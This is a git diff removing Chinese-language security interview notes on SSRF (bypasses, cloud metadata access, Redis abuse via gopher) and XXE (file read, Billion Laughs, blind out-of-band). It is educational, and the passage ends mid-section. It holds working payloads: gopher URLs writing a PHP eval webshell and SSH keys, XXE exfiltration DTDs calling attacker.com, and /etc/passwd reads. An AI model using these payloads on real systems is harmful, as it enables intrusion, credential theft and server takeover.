- **CSS 文件**：通过分析 CSS 文件的路径、内容或文件名来识别技术
|
||||
3. **匹配与判断**：Wappalyzer 将上述提取到的信息与本地的特征库进行比对。如果某个或某几个特征与库中的某个技术指纹相匹配，那么该技术就会被识别出来，并显示在 Wappalyzer 的图标或面板中
|
||||
4. **结果展示**：最终，Wappalyzer 会将所有匹配成功的技术以图标和文字的形式展示给用户，通常还会附带该技术的名称、版本和类型（如 CMS、框架、库等）
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,28 +0,0 @@
|
||||
### SSRF 漏洞存在位置
|
||||
|
||||
**1. URL地址加载资源**
|
||||
|
||||
这是 SSRF 漏洞最经典的藏身之处。当一个网站需要通过 URL 地址从其他服务器获取图片、文件或音频等资源时，就可能存在 SSRF
|
||||
|
||||
- **头像/图片上传**：很多社交平台或电商网站允许用户通过提供图片 URL 来上传头像或商品图片
|
||||
- **案例**：在某电商平台的商品图片上传接口，我发现一个名为 `image_url` 的参数。我将其值从一个合法的图片链接改为内网地址，如`http://192.168.1.1`，服务器返回了连接超时的错误。当我改为`http://127.0.0.1:80` 时，却返回了“HTTP 请求无效”的错误。通过这些差异，我判断 `127.0.0.1` 的 80 端口是开放的，从而证实了 SSRF 漏洞的存在
|
||||
- **文章或图片收藏**：当用户分享或收藏一个网页时，服务器会去抓取页面标题、描述、缩略图等信息
|
||||
- **案例**：在一个内容管理系统（CMS）中，我测试了“分享文章”功能。当我输入一个 URL 时，系统会生成一个预览。我将 `url` 参数的值从外网地址改为了 `http://localhost/`，结果系统成功抓取并展示了本地服务器的登录页面。这证明了服务器执行了请求，并且没有对 `localhost` 进行过滤
|
||||
|
||||
**2. URL协议解析不当与转码服务**
|
||||
|
||||
开发者在处理 URL 时，往往只过滤了 `http://` 和 `https://`，却忘记了其他协议，或者没有对 URL 重定向进行二次校验
|
||||
|
||||
- **转码服务**：一些在线视频或音频转码服务，需要用户提供一个 URL，服务器会去下载并进行格式转换
|
||||
- **案例**：一个视频转码服务的 `video_url` 参数可以被利用。我尝试将 `http://` 协议替换为 `file://`，并输入 `file:///etc/passwd`。服务器返回了 `/etc/passwd` 文件的内容，这表明服务器不仅存在 SSRF，还存在**本地文件读取（LFI）**漏洞
|
||||
- **在线翻译/API调用**：许多翻译服务需要通过 API 去获取内容，如果 API 的 URL 可控，就可能存在 SSRF
|
||||
- **案例**：一个未公开的 API 接口用于调用 URL 服务，我尝试用 `gopher://` 协议去攻击内网的 Redis 服务。我构造了 Gopher URL，并将其作为 API 参数发送，最终成功在目标服务器上执行了 Redis 命令，实现了代码执行
|
||||
|
||||
**3. 第三方服务与Webhooks**
|
||||
|
||||
现代应用经常需要与其他服务集成，例如支付接口、云服务 API 等。这些集成点经常需要通过 URL 进行通信
|
||||
|
||||
- **Webhooks**：许多 SaaS 产品支持 Webhooks，当特定事件发生时，它会向用户指定的 URL 发送 HTTP 请求
|
||||
- **案例**：在一个 Git 仓库管理平台，我发现它允许自定义 Webhook URL。我将 Webhook URL 设置为内网的 `http://192.168.10.20/`。当有代码提交时，我通过检查网络流量，证实了服务器确实去请求了这个内部地址，从而证明了 SSRF 漏洞的存在
|
||||
- **云服务API**：在云环境中，元数据服务通常通过一个固定的内网 IP 提供敏感信息
|
||||
- **案例**：在一个运行在 AWS 的网站上，我利用 SSRF 漏洞让服务器请求 AWS 的元数据服务地址`http://169.254.169.254/latest/meta-data/`。服务器成功返回了一个目录列表，这表明我能够访问这个特殊的内网服务，并可以进一步获取 IAM 凭证来控制整个云实例
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,54 +0,0 @@
|
||||
### SSRF 漏洞绕过方法
|
||||
|
||||
**1. IP 地址绕过**
|
||||
|
||||
服务器为了防止内网探测，通常会限制请求的目标IP，比如禁止访问私有IP地址（10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1）。我们可以尝试一些技巧来绕过这些限制
|
||||
|
||||
- **十进制、八进制、十六进制等进制转换：**
|
||||
- **十进制：** `http://127.0.0.1` 可以转换为 `http://2130706433`
|
||||
- **八进制：** `http://127.0.0.1` 可以转换为 `http://0177.0.0.1` 或 `http://017700000001`
|
||||
- **十六进制：** `http://127.0.0.1` 可以转换为 `http://0x7f000001`
|
||||
- **混合进制：** 例如 `http://0x7f.0.0.1`
|
||||
- **域名解析：** `localhost` 可以解析为 `127.0.0.1`
|
||||
- **不完整 IP：** 某些系统会把 `127.1` 当作 `127.0.0.1` 处理
|
||||
- **短地址服务或域名重定向：**
|
||||
- 攻击者可以利用短地址服务（如 bit.ly）或自己搭建一个网站，设置 302/307 重定向，将请求从白名单域名重定向到内网地址。例如，设置一个 `http://trusted.com/redirect`，当服务器请求此地址时，会自动跳转到 `http://192.168.1.1`
|
||||
- 这种方法常用于目标服务器只允许访问特定白名单域名的情况
|
||||
- **利用 IPV6 地址绕过：**
|
||||
- 如果目标系统没有对 IPv6 地址进行过滤，那么 `::1` 就可以指向 `127.0.0.1`
|
||||
- **利用 `xip.io` 或类似服务：**
|
||||
- `xip.io` 是一个将 IP 地址嵌入域名的服务。例如，`10.0.0.1.xip.io` 会解析为 `10.0.0.1`。如果服务器只限制了 IP，但未限制域名解析，这会是有效的绕过方法
|
||||
|
||||
**2. 协议绕过**
|
||||
|
||||
除了 HTTP/HTTPS 协议，许多库还支持其他协议。如果服务器没有对这些协议进行过滤，我们可以利用它们来访问服务器的本地文件或服务
|
||||
|
||||
- **`file://` 协议：**
|
||||
- `file:///etc/passwd` 可以读取 `/etc/passwd` 文件
|
||||
- `file:///C:/Windows/win.ini` 可以读取 Windows 系统的 `win.ini` 文件
|
||||
- **`dict://` 协议：**
|
||||
- `dict://127.0.0.1:6379/info` 可以查询 Redis 服务的信息
|
||||
- `dict://127.0.0.1:6379/config:set:dbfilename:evil.php` 可以用于写入恶意文件
|
||||
- **`gopher://` 协议：**
|
||||
- 这是最强大的协议之一，可以发送任意 TCP 请求。攻击者可以利用它来攻击内网的各种服务，如 MySQL、Redis、FastCGI 等
|
||||
- 例如，攻击 Redis 服务：`gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A`
|
||||
- **`ftp://` 协议：**
|
||||
- 可以利用 FTP 协议在某些情况下进行端口扫描，或者发送自定义命令
|
||||
|
||||
**3. URL 解析绕过**
|
||||
|
||||
不同的URL解析器（如 PHP、Python、CURL 等）对 URL 的解析规则可能存在差异。利用这种差异，可以绕过基于正则表达式的过滤
|
||||
|
||||
- **利用特殊字符：**
|
||||
- `@` 符号：`http://example.com@127.0.0.1`，在一些解析器中，会忽略 `@` 前的内容，导致请求发往 `127.0.0.1`
|
||||
- `#` 符号：`http://127.0.0.1#example.com`， `#` 后面的内容通常被认为是片段标识符，会被忽略，从而请求 `127.0.0.1`
|
||||
- **利用 URL 编码：**
|
||||
- 对 IP 地址进行URL编码，例如 `127.0.0.1` 编码为 `%31%32%37%2E%30%2E%30%2E%31`
|
||||
- 对 `.` 进行 URL 编码，例如 `http://127%2E0%2E0%2E1`
|
||||
- **利用 DNS Rebinding：**
|
||||
- 这是高级且难以防范的技巧。攻击者控制一个域名，该域名在短时间内第一次解析为一个非内网 IP（通过白名单检查），第二次解析为内网 IP
|
||||
- **步骤：**
|
||||
1. 攻击者设置一个恶意域名 `evil.com`，其 DNS 记录 TTL（生存时间）设置为很低
|
||||
2. 第一次 DNS 解析，`evil.com` 解析为一个公网 IP，服务器通过白名单检查
|
||||
3. 服务器发起请求，但由于请求需要时间，在第二次DNS解析时，攻击者将 `evil.com` 的 DNS 记录修改为 `127.0.0.1`
|
||||
4. 服务器再次请求 `evil.com` 时，会请求到 `127.0.0.1`，从而绕过过滤
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,47 +0,0 @@
|
||||
### SSRF 漏洞利用方式
|
||||
|
||||
**1. 端口扫描**
|
||||
|
||||
这是最基础也最常见的利用方式。通过控制服务器向内网 IP 的不同端口发起请求，并根据响应时间、响应内容或 HTTP 状态码来判断端口是否开放
|
||||
|
||||
- **利用方式：**
|
||||
- **GET 请求：** `http://192.168.1.1:22`
|
||||
- **响应判断：** 如果端口开放，通常会有 HTTP 响应；如果端口关闭或服务不存在，请求会超时或返回连接失败。通过脚本自动化这个过程，可以快速绘制出内网的端口图
|
||||
|
||||
**2. 访问内网应用**
|
||||
|
||||
如果服务器能够访问内网，攻击者就可以通过SSRF漏洞来探测和攻击那些通常无法从外部网络访问的应用
|
||||
|
||||
- **利用方式：**
|
||||
- **访问管理后台：** 很多公司的内部管理系统、OA、数据库管理工具等都在内网运行。攻击者可以通过SSRF 漏洞直接访问这些后台，如果存在弱口令，就可能直接接管系统
|
||||
- **攻击内网服务：** 利用 SSRF 访问内网中的 Redis、MySQL、Elasticsearch、Memcached 等服务。例如，利用 **Gopher 协议** 攻击 Redis 服务器，可以写入 Webshell 或者 SSH key，从而获得服务器的控制权
|
||||
- **示例：** `gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A` 这个 payload 可以向本地的 Redis 服务发送 `info` 命令，获取 Redis 信息
|
||||
- **利用 `file://` 协议：** 如果没有协议限制，可以直接读取服务器本地文件，如 `/etc/passwd`、`/etc/hosts`、`.bash_history` 等，从而获取敏感信息
|
||||
- **示例：** `file:///etc/passwd`
|
||||
|
||||
**3. 攻击本地文件包含（LFI）**
|
||||
|
||||
在某些场景下，SSRF 可以与文件包含漏洞结合利用。例如，当目标网站的 URL 处理逻辑是 `file=http://example.com/a.txt` 时，你可以将 `http` 替换为 `file`，从而实现本地文件读取
|
||||
|
||||
- **利用方式：**
|
||||
- `http://target.com/?url=file:///etc/passwd`
|
||||
|
||||
**4. 绕过防火墙**
|
||||
|
||||
许多 Web 应用服务器会部署在防火墙后面，防火墙通常只允许特定的出站请求。SSRF 漏洞可以利用服务器作为跳板，绕过防火墙的限制，直接攻击内网
|
||||
|
||||
**5. 探测云服务元数据**
|
||||
|
||||
在云服务环境（如 AWS, Google Cloud, Aliyun）中，服务器通常有一个特殊的元数据地址，例如 **`http://169.254.169.254/`**。这个地址只在虚拟机内部可访问，其中包含了非常敏感的信息，比如 **IAM 角色凭证、密钥、实例信息**等
|
||||
|
||||
- **利用方式：**
|
||||
- `http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name`
|
||||
- 通过 SSRF 漏洞访问这个地址，攻击者可以获取临时密钥，利用这些密钥就能以该角色的权限访问云服务，比如操作 S3 存储桶、启动或停止虚拟机等，造成巨大的安全风险
|
||||
|
||||
**6. DoS 攻击**
|
||||
|
||||
攻击者可以利用 SSRF 漏洞让服务器向自身或内网中的关键服务发起大量的请求，从而造成拒绝服务
|
||||
|
||||
- **利用方式：**
|
||||
- `http://localhost:80`
|
||||
- 通过循环请求 `http://localhost/`，可以耗尽服务器资源，使其无法正常提供服务
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,57 +0,0 @@
|
||||
### SSRF 如何攻击内网服务
|
||||
|
||||
**1. 判断内网Redis端口是否开放**
|
||||
|
||||
首先，我们需要确认目标服务器的内网中是否存在 Redis 服务，以及它监听的端口。Redis 的默认端口是 **6379**
|
||||
|
||||
我们可以使用 SSRF 漏洞，尝试向 `http://127.0.0.1:6379/` 发起请求。如果请求有响应或返回连接成功的提示，那么Redis 服务可能存在
|
||||
|
||||
**2. 构造Redis命令**
|
||||
|
||||
Redis的通信协议（RESP，Redis Serialization Protocol）是一种基于TCP的文本协议。攻击者需要将Redis命令转换为符合该协议的格式
|
||||
|
||||
例如，一个简单的`INFO`命令的RESP格式如下：
|
||||
|
||||
```
|
||||
*1
|
||||
$4
|
||||
INFO
|
||||
```
|
||||
|
||||
- **`\*1`**：表示这是一个包含 1 个命令参数的数组
|
||||
- **`$4`**：表示接下来的参数有 4 个字节
|
||||
- **`INFO`**：参数的具体内容
|
||||
|
||||
在 Gopher 协议中，换行符需要转换为 URL 编码，即`%0D%0A`（回车换行）。因此，上述命令转换为 Gopher 协议的 URL编码后是： `gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A`
|
||||
|
||||
**3. 写入WebShell**
|
||||
|
||||
这是最常见的攻击方式，尤其是在目标服务器是 Web 服务器的情况下。攻击者可以利用 Redis 的持久化功能，将WebShell 代码写入到服务器的网站根目录，从而获得服务器的控制权
|
||||
|
||||
**攻击思路：**
|
||||
|
||||
1. **设置 Redis 的 `dir` 和 `dbfilename`**：将 Redis 的持久化目录设置为网站根目录，将持久化文件名设置为一个WebShell 文件名（如 `shell.php`）。
|
||||
2. **写入 WebShell 代码**：利用 Redis 的 `SET` 命令，将 WebShell 代码写入一个键中
|
||||
3. **执行 `SAVE` 或 `BGSAVE`**：执行 `SAVE` 命令将数据保存到指定的 WebShell 文件中
|
||||
|
||||
**Gopher Payload 构造举例（以写入PHP一句话木马为例）：**
|
||||
|
||||
**PHP 一句话木马代码：** `<?php eval($_POST[cmd]);?>`
|
||||
|
||||
1. **设置文件目录**：`config set dir /var/www/html/` **Gopher Payload:** `gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html/%0D%0A`
|
||||
2. **设置文件名**：`config set dbfilename shell.php` **Gopher Payload:** `gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A`
|
||||
3. **设置键值**：`set 1 '<?php eval($_POST[cmd]);?>'` **Gopher Payload:** `gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$27%0D%0A%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%0D%0A`
|
||||
4. **执行保存**：`save` **Gopher Payload:** `gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Asave%0D%0A`
|
||||
|
||||
你可以将上述 Payload 组合起来，并进行 URL 编码，通过 SSRF 漏洞一次性发送
|
||||
|
||||
**4. 写入 SSH 公钥**
|
||||
|
||||
如果 Redis 服务是以 root 权限运行，并且目标服务器开放了 SSH 服务，攻击者还可以通过 Redis 将 SSH 公钥写入 root 用户的 `.ssh/authorized_keys` 文件，从而实现 SSH 免密登录
|
||||
|
||||
**Gopher Payload 构造举例：**
|
||||
|
||||
1. 设置文件目录：`config set dir /root/.ssh/`
|
||||
2. 设置文件名：`config set dbfilename authorized_keys`
|
||||
3. 写入SSH公钥：`set 1 'ssh-rsa AAAA...your-pubkey...'`
|
||||
4. 执行保存：`save`
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,60 +0,0 @@
|
||||
### 如何判断 SSRF 的流量是否攻击成功
|
||||
|
||||
**1. 基于DNS记录判断**
|
||||
|
||||
这是最常见也最简单的方法之一，利用 **DNS 带外通信**来判断
|
||||
|
||||
**原理：** 攻击者在一个可以记录 DNS 解析的域名服务器上，为每个攻击目标生成一个唯一的子域名。然后，在 SSRF 的payload 中，让服务器去请求这个子域名
|
||||
|
||||
**如何判断成功：** 如果攻击成功，服务器会尝试解析这个子域名。攻击者的 DNS 服务器会收到一个来自服务器 IP 的 DNS解析请求，从而证明 SSRF 漏洞确实存在，并且服务器执行了我们的请求
|
||||
|
||||
**举例：**
|
||||
|
||||
- 攻击者在 `attacker.com` 上部署 DNS 服务
|
||||
- 攻击者构造 payload：`http://vulnerable.com/ssrf?url=http://test12345.attacker.com`
|
||||
- 如果 SSRF 成功，攻击者的DNS服务器会收到来自 `vulnerable.com` 服务器 IP 的 `test12345.attacker.com` 域名解析请求
|
||||
|
||||
**2. 基于 HTTP 请求判断**
|
||||
|
||||
如果漏洞允许，我们可以让服务器去请求一个我们控制的 HTTP 服务器
|
||||
|
||||
**原理：** 攻击者搭建一个 HTTP 服务器，并在 SSRF 的 payload 中让服务器请求该服务器
|
||||
|
||||
**如何判断成功：** 如果 SSRF 成功，攻击者的 HTTP 服务器会收到一个来自目标服务器 IP 的 HTTP 请求。通过查看请求的User-Agent、来源 IP 等信息，可以进一步确认漏洞的存在
|
||||
|
||||
**举例：**
|
||||
|
||||
- 攻击者在公网IP `1.1.1.1` 上搭建 HTTP 服务（如`nc -lvp 80`）
|
||||
- 攻击者构造 payload：`http://vulnerable.com/ssrf?url=http://1.1.1.1:80/check.txt`
|
||||
- 如果 SSRF 成功，攻击者的 HTTP 服务器会收到一个来自 `vulnerable.com` 服务器的 HTTP 请求
|
||||
|
||||
**3. 基于时间差判断**
|
||||
|
||||
这种方法利用服务器处理特定请求所需的时间来判断，常用于**盲SSRF**场景，即服务器不会返回请求结果
|
||||
|
||||
**原理：** 攻击者构造一个SSRF payload，使其请求一个需要耗费较长时间的资源，例如一个不存在或响应很慢的端口，或者一个非常大的文件
|
||||
|
||||
**如何判断成功：** 如果 SSRF 成功，服务器的处理时间会显著增加。通过对比执行正常请求和 SSRF 请求的响应时间，如果后者明显更长，则可以初步判断 SSRF 攻击成功
|
||||
|
||||
**举例：**
|
||||
|
||||
- 构造SSRF payload让服务器请求一个不存在的端口：`http://vulnerable.com/ssrf?url=http://127.0.0.1:65535`
|
||||
- 正常请求响应时间：`100ms`
|
||||
- SSRF请求响应时间：`3000ms`（因为连接超时）
|
||||
- 响应时间明显增加，表明服务器执行了内部请求
|
||||
|
||||
**4. 基于错误信息判断**
|
||||
|
||||
一些配置不当的应用程序会在 SSRF 失败时，直接返回服务器内部的错误信息
|
||||
|
||||
**原理：** 攻击者故意构造一个错误的 SSRF 请求，例如请求一个私有 IP 地址或本地文件，并观察应用程序返回的错误信息
|
||||
|
||||
**如何判断成功：** 如果应用程序返回的错误信息包含服务器内部的路径、IP 地址或内部错误代码，如 `Failed to connect to 127.0.0.1` 或 `Permission denied`，则可以确认服务器确实尝试执行了该请求，并且 SSRF 漏洞存在
|
||||
|
||||
**5. 基于响应内容判断**
|
||||
|
||||
如果 SSRF 漏洞是**可回显**的，攻击者可以直接从服务器的响应中判断攻击是否成功
|
||||
|
||||
**原理：** 攻击者构造一个 SSRF payload，让服务器请求内部资源，如 `http://127.0.0.1/` 或 `file:///etc/passwd`
|
||||
|
||||
**如何判断成功：** 如果服务器的响应中包含了目标资源的内部内容，例如本地 Web 服务器的欢迎页面、`/etc/passwd` 文件的内容等，那么 SSRF 攻击成功
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,51 +0,0 @@
|
||||
### SSRF 怎么用 Redis 写 Shell
|
||||
|
||||
**步骤一：利用 SSRF 伪造 Redis 协议请求**
|
||||
|
||||
SSRF 攻击需要将恶意请求发送给目标服务器的 Redis 服务。这里通常需要使用 **Gopher 协议**。Gopher 协议可以发送自定义的 TCP 请求，这正是我们与 Redis 交互所需要的
|
||||
|
||||
Redis 的通信协议（RESP）是一个基于文本的协议。我们可以使用 Gopher 协议将这些命令编码成 URL 格式
|
||||
|
||||
**Redis 命令序列：**
|
||||
|
||||
我们通过 SSRF 漏洞向 Redis 服务器依次发送以下命令：
|
||||
|
||||
1. `SET webshell "<?php eval($_POST['cmd']);?>"`：设置一个键名为 `webshell`，值为我们想要写入的 Webshell 代码
|
||||
2. `CONFIG SET dir "/var/www/html/"`：设置 Redis 的工作目录为网站的根目录
|
||||
3. `CONFIG SET dbfilename "shell.php"`：设置持久化文件名为 `shell.php`
|
||||
4. `SAVE`：执行保存命令，将数据持久化到指定的文件中
|
||||
|
||||
**步骤二：将命令编码为 Gopher 协议 URL**
|
||||
|
||||
我们需要将上述 Redis 命令序列转换成 Gopher URL
|
||||
|
||||
- **将命令转换为 RESP 协议格式**：
|
||||
|
||||
- `SET webshell "<?php eval($_POST['cmd']);?>"` -> `*3\r\n$3\r\nSET\r\n$7\r\nwebshell\r\n$25\r\n<?php eval($_POST['cmd']);?>\r\n`
|
||||
- `CONFIG SET dir "/var/www/html/"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html/\r\n`
|
||||
- `CONFIG SET dbfilename "shell.php"` -> `*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n`
|
||||
- `SAVE` -> `*1\r\n$4\r\nSAVE\r\n`
|
||||
|
||||
*注：`\r\n` 是回车换行符，在 URL 中需要编码为 `%0d%0a`*
|
||||
|
||||
- **拼接成完整的 Gopher URL**： `gopher://127.0.0.1:6379/_` + `[RESP 编码的命令]` + `%0d%0a` + `[RESP 编码的命令]` + ...
|
||||
|
||||
一个完整的 Gopher URL 示例如下：
|
||||
|
||||
```apl
|
||||
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$7%0d%0awebshell%0d%0a$25%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
|
||||
```
|
||||
|
||||
**步骤三：通过 SSRF 漏洞发起请求**
|
||||
|
||||
将上述构造好的 URL 作为 SSRF 漏洞的参数值，例如：
|
||||
|
||||
```apl
|
||||
http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_...
|
||||
```
|
||||
|
||||
当服务器端执行这个请求时，它会通过 Gopher 协议向本地的 Redis 服务发送一系列命令，最终在 `/var/www/html/` 目录下生成一个名为 `shell.php` 的文件，其内容就是我们的 Webshell
|
||||
|
||||
**步骤四：访问 Webshell**
|
||||
|
||||
攻击者现在可以直接访问 `http://example.com/shell.php`，并通过 `cmd` 参数执行任意命令，从而完全控制服务器
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,77 +0,0 @@
|
||||
### XXE 漏洞利用方式
|
||||
|
||||
**1. 文件读取（最常见）**
|
||||
|
||||
这是 XXE 漏洞最经典的利用方式，攻击者可以利用外部实体来读取服务器上的任意文件，例如`/etc/passwd`、Web 应用配置文件等
|
||||
|
||||
- **利用原理**：攻击者在 XML 文档中定义一个外部实体，实体的值为一个本地文件路径。当 XML 解析器解析该实体时，就会去读取并返回该文件的内容
|
||||
|
||||
- **利用步骤**：
|
||||
|
||||
1. **构造恶意 DTD**：攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体，通常使用 `SYSTEM` 关键字。
|
||||
- 例如：`<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
|
||||
2. **引用实体**：在 XML 文档的主体中引用该实体。
|
||||
- 例如：`<data>&xxe;</data>`
|
||||
|
||||
- **完整示例**：
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<root>
|
||||
<data>&xxe;</data>
|
||||
</root>
|
||||
```
|
||||
|
||||
当服务器解析这个 XML 时，在 `<data>` 标签中就会回显 `/etc/passwd` 文件的内容
|
||||
|
||||
**2. 拒绝服务攻击（DoS）**
|
||||
|
||||
攻击者可以利用 XXE 漏洞，通过“递归引用”或“大量实体引用”的方式，使 XML 解析器进入死循环或消耗大量系统资源，从而导致服务崩溃
|
||||
|
||||
- **利用原理**：利用 XML 实体可以相互引用的特性，构造一个无限递归或指数级爆炸的实体
|
||||
|
||||
- **经典示例**：**十亿笑脸攻击（Billion Laughs Attack）**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<lolz>&lol9;</lolz>
|
||||
```
|
||||
|
||||
这个 XML 文件虽然很小，但在解析时，`<lolz>` 实体会扩展为数十亿个“lol”，消耗巨大的内存和 CPU 资源，最终导致服务器崩溃
|
||||
|
||||
**3. 内网端口扫描**
|
||||
|
||||
攻击者可以利用 XXE 漏洞探测服务器所在内网中其他主机的开放端口
|
||||
|
||||
- **利用原理**：攻击者构造外部实体，让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放，XML 解析会成功或返回特定的错误信息；如果端口关闭，则会返回连接超时等错误，通过错误信息来判断端口状态
|
||||
- **利用方式**：
|
||||
1. **定义外部实体**：`<!ENTITY scan SYSTEM "http://192.168.1.1:80">`
|
||||
2. **发送请求**：让服务器去访问内网 IP 的端口
|
||||
3. **观察响应**：如果服务器返回了“连接被拒绝”等信息，说明端口是关闭的。如果返回了“连接超时”或成功连接，则说明端口可能是开放的
|
||||
|
||||
**4. 盲 XXE（Blind XXE）**
|
||||
|
||||
如果服务器没有将 XML 解析结果回显到前端，攻击者就无法直接看到文件内容，这时就需要利用**带外（Out-of-Band）通信**来获取信息
|
||||
|
||||
- **利用原理**：攻击者利用外部实体向自己的服务器发送请求，并在 URL 中携带需要读取的文件内容
|
||||
- **利用步骤**：
|
||||
1. **构造外部实体**：攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求
|
||||
- 例如：`<!ENTITY % file SYSTEM "file:///etc/passwd">`
|
||||
- `<!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">`
|
||||
2. **远程引用**：在主 XML 中引用攻击者的 DTD 文件
|
||||
- `<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">`
|
||||
- 当服务器解析这个 DTD 时，就会将 `/etc/passwd` 文件的内容发送到攻击者的服务器上
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,118 +0,0 @@
|
||||
### XXE 盲注思路
|
||||
|
||||
**1. 基础的带外请求（OOB）**
|
||||
|
||||
这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞，即使没有回显
|
||||
|
||||
- **攻击步骤：**
|
||||
|
||||
1. **准备攻击服务器：** 搭建一个 Web 服务器（例如使用 Python 的 `SimpleHTTPServer`）或利用**DNSlog**平台
|
||||
|
||||
2. **构造恶意 XML 实体：**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
|
||||
%p1;
|
||||
]>
|
||||
<test></test>
|
||||
```
|
||||
|
||||
3. **发送请求：** 将上述 XML 作为请求体发送到目标服务器
|
||||
|
||||
4. **确认存在漏洞：** 如果你的服务器收到了来自目标 IP 的 `GET /test` 请求，就说明服务器存在 XXE 漏洞
|
||||
|
||||
**2. 利用带外请求获取文件内容**
|
||||
|
||||
确认漏洞存在后，下一步就是尝试读取服务器上的文件
|
||||
|
